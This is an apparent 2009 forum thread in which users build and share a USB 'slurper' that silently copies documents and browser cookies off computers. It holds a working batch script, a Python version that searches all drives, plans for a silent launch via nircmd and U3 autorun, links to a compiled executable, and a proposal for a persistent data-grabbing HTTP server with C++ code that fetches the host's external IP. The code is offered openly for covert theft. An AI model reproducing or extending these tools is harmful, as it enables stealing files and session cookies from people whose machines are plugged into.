DingleBerries Posted February 1, 2009 Share Posted February 1, 2009 Has anyone seen a version of this not written as a .bat? Maybe some python or c++? I have a working POC of this switch blade atm, but i do not like using nircmd and batch. If you can help in ANY way please let me know and i will box it up and ship it out. @echo off mkdir %~d0\%computername% mkdir %~d0\%computername%\Documents mkdir %~d0\%computername%\Cookies ::Plain Text Files xcopy "C:\Documents and Settings\%username%\My Documents\*.txt" %~d0\%computername%\Documents /s/c/q/r/h/y xcopy "C:\Documents and Settings\%username%\Desktop\*.txt" %~d0\%computername%\Documents /s/c/q/r/h/y ::Microsoft Word 2003 and 2007 xcopy "C:\Documents and Settings\%username%\My Documents\*.doc" %~d0\%computername%\Documents /s/c/q/r/h/y xcopy "C:\Documents and Settings\%username%\My Documents\*.docx" %~d0\%computername%\Documents /s/c/q/r/h/y xcopy "C:\Documents and Settings\%username%\Desktop\*.doc" %~d0\%computername%\Documents /s/c/q/r/h/y xcopy "C:\Documents and Settings\%username%\Desktop\*.docx" %~d0\%computername%\Documents /s/c/q/r/h/y ::Microsoft Excel 2003 and 2007 xcopy "C:\Documents and Settings\%username%\My Documents\*.xls" %~d0\%computername%\Documents /s/c/q/r/h/y xcopy "C:\Documents and Settings\%username%\My Documents\*.xlsx" %~d0\%computername%\Documents /s/c/q/r/h/y xcopy "C:\Documents and Settings\%username%\Desktop\*.xls" %~d0\%computername%\Documents /s/c/q/r/h/y xcopy "C:\Documents and Settings\%username%\Desktop\*.xlsx" %~d0\%computername%\Documents /s/c/q/r/h/y ::Microsoft PowerPoint 2003 and 2007 xcopy "C:\Documents and Settings\%username%\My Documents\*.ppt" %~d0\%computername%\Documents /s/c/q/r/h/y xcopy "C:\Documents and Settings\%username%\My Documents\*.pptx" %~d0\%computername%\Documents /s/c/q/r/h/y xcopy "C:\Documents and Settings\%username%\Desktop\*.pptx" %~d0\%computername%\Documents /s/c/q/r/h/y xcopy "C:\Documents and Settings\%username%\Desktop\*.ppt" %~d0\%computername%\Documents /s/c/q/r/h/y ::COOKIES xcopy "C:\Documents and Settings\%username%\Cookies\*.txt" %~d0\%computername%\Cookies /s/c/q/r/h/y @cls @exit Quote Link to comment Share on other sites More sharing options...
ls Posted February 1, 2009 Share Posted February 1, 2009 A while ago, I wrote a script to collect alll images from a drive, i used this code: import os exts = [".jpg",".png",".bmp",".jpeg",".gif"] startpath = "/home/" def find(none, directory, filenames): for file in filenames: for ext in exts: if file.endswith(ext): file = os.path.join(directory,file) print file os.path.walk(startpath,find, None) this will print out all images, you can then use shutil (http://docs.python.org/library/shutil.html) to copy the file to your pendrive I will write a script later,(quite busy right now) Quote Link to comment Share on other sites More sharing options...
ls Posted February 1, 2009 Share Posted February 1, 2009 voila, this script will copy all .txt, .doc, .docx, .pp, .pptx, .xls, .xlsx in the C:\Documents and settings\ directory import os,shutil exts = [".txt",".doc",".docx",".xls",".xlsx",".ppt",".pptx"] startpath = "C:\\Documents and Settings\\" def find(none, directory, filenames): for file in filenames: for ext in exts: if file.endswith(ext): fullfile = os.path.join(directory,file) try: shutil.copy(fullfile,file) except IOError: pass # access denied os.path.walk(startpath,find, None) Quote Link to comment Share on other sites More sharing options...
DingleBerries Posted February 1, 2009 Author Share Posted February 1, 2009 You sir are awesome, I am going to compile it a bit later, there are a few other things going on atm. Nevertheless Thank you very much Quote Link to comment Share on other sites More sharing options...
ls Posted February 1, 2009 Share Posted February 1, 2009 you're welcome, glad I could help Quote Link to comment Share on other sites More sharing options...
DingleBerries Posted February 1, 2009 Author Share Posted February 1, 2009 SLU3RP Directions: Put ISO on the U3 partition. Put the contents of FLASH on the root of the drive. That is it.Beta 1(Working) Slurp.exe(Thanks to ls we have a complied execuatble by ls, no dlls.) Nircmd(Starts slurp.exe silently)To Do C++ auto run(almost there. Dont want Nircmd)Download1Download2Download3 Quote Link to comment Share on other sites More sharing options...
DingleBerries Posted February 1, 2009 Author Share Posted February 1, 2009 For some reason i cannot get the python script to compile so that I can use it on multiple computers. Works fine on the one i compiled it on. Quote Link to comment Share on other sites More sharing options...
ls Posted February 2, 2009 Share Posted February 2, 2009 I use pyinstaller to create an exe from an python script you may want to check it out at http://pyinstaller.python-hosting.com/ I uploaded the exe here http://rapidshare.com/files/192935015/podslurp.exe.html md5: 08cd1ea1533ccc0d80a926bf1dc1a1d3 podslurp.exe Quote Link to comment Share on other sites More sharing options...
DingleBerries Posted February 2, 2009 Author Share Posted February 2, 2009 Worked on a brand new vm so i am going to try it again on some other systems. I tried pyinstaller but I guess i didnt have the patience to read through the documentation. New U3 package links Download1 Download2 Download3 Quote Link to comment Share on other sites More sharing options...
ls Posted February 2, 2009 Share Posted February 2, 2009 Yes it looks a bit overwhelming at first sight but it's actually quite simple: you first have to create a .spec file with the command python Makespec.py [option] pythonscript.py and then python Build.py pythonscript.spec Quote Link to comment Share on other sites More sharing options...
DingleBerries Posted February 2, 2009 Author Share Posted February 2, 2009 If the code was changed from: startpath = "C:\\Documents and Settings\\" TO startpath = "MyComputer" Would that then include external drives? I can check it in a few hours but time to work :( Just thought of another thing. Create Dir Copy Small HTTP server to dir Copy Slurp.exe to Dir Cron(or what ever windows does) to run Copy external IP to thumb drive (C++) //By Napalm #include <windows.h> #include <wininet.h> #include <stdio.h> #include <string.h> // I will let you add the error checking to this function. char *getwebpage(char *hostname, char *uri, unsigned long *total) { if(!hostname || !uri || !total) return (char *)0; *total = 0; char *headers1 = "Accept: text/html, */*\nAccept-Language: en-gb\nAccept-Encoding: none\nHost: "; char *headers2 = (char *)malloc(strlen(headers1) + strlen(hostname) + 2); sprintf(headers2, "%s%s\n", headers1, hostname); HINTERNET session = InternetOpen("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); HINTERNET connect = InternetConnect(session, hostname, 80, "", "", INTERNET_SERVICE_HTTP, 0, 0); HINTERNET http = HttpOpenRequest(connect, "GET", uri, HTTP_VERSION, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0); HttpSendRequest(http, headers2, strlen(headers2), NULL, 0); free(headers2); unsigned long read; char buffer[1024]; char *final = (char *)malloc(1024); memset(buffer, 0, 1024); memset(buffer, 0, 1024); while(InternetReadFile(http, buffer, 1024, &read) && (read != 0)){ CopyMemory((final + *total), buffer, read); *total += read; final = (char *)realloc(final, (*total + 1024)); memset((final + *total), 0, 1024); } InternetCloseHandle(http); InternetCloseHandle(connect); InternetCloseHandle(session); return final; } int getmyipaddress(char *buffer) { unsigned long length; char *webpage = getwebpage("www.ipchicken.com", "/", &length); if(!webpage || length == 0) return 0; int result = 0; char *start = strstr(webpage, "<b>"); if(start){ start += 3; while(*start <= ' ') start++; char *end = start; while(*end > ' ') end++; *end = 0; strcpy(buffer, start); result = 1; } free(webpage); return result; } int main(int argc, char *argv[]) { char ipaddress[16]; if(getmyipaddress(ipaddress)){ printf("My IP Address Is: %s\n", ipaddress);} else{ printf("Error getting IP Address.\n");} getchar(); return 0; } Quote Link to comment Share on other sites More sharing options...
DingleBerries Posted February 4, 2009 Author Share Posted February 4, 2009 New Version Slu3rp V 1.1 Searches all drives not just C:\\. Added .rtf TO DO Have python find the current drive and not search it. Some computers show an error about a missing dll Downloads Link Link Quote Link to comment Share on other sites More sharing options...
FraKctured Posted April 1, 2009 Share Posted April 1, 2009 If the code was changed from: startpath = "C:\\Documents and Settings\\" TO startpath = "MyComputer" Would that then include external drives? I can check it in a few hours but time to work :( Just thought of another thing. Create Dir Copy Small HTTP server to dir Copy Slurp.exe to Dir Cron(or what ever windows does) to run Copy external IP to thumb drive Hello. I spent some time reading posts about slurping. I'm looking for something like this, install the slurper in the machine and get the data later. If are there a lot of data we need so much time to copy. I really had think in a adaptation of hacksaw to get slurping data instead of usb data. ¿What about your idea? Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.